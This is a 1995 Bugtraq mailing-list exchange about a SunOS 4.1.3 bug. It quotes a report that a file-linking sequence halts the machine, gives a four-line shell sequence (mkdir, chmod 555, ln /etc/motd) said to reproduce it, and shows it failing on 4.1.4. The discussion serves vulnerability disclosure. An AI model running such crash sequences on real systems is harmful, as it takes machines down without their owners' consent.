[2446] in bugtraq
SunOS v4.1.3 crash
daemon@ATHENA.MIT.EDU (Shams Islam)
Tue Dec 12 12:39:33 1995
Date: Mon, 11 Dec 1995 17:35:45 -0500
Reply-To: Bugtraq List <BUGTRAQ@CRIMELAB.COM>
From: Shams Islam <islams@sol.cse.fau.edu>
X-To: bugtraq@CRIMELAB.COM
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@CRIMELAB.COM>
>
>Vulnerable OS is (at least) SunOS 4.1.3.
>
>With the right permissions (umask) the following
>sequence crahes the system. The kernel does not
>panic, nor the abort sequece enters the boot
>promt, the system is halted, need to power down.
>
yea this is the same as:
mkdir /tmp/foo
cd /tmp/foo
chmod 555 .
ln /etc/motd .
-Pete
at least SunOS v4.1.3? Hmm.. Well, I believe they eradicated that in v4.1.4
mars% chmod 555 .
mars% ln /etc/motd .
ln: ./motd: Cross-device link
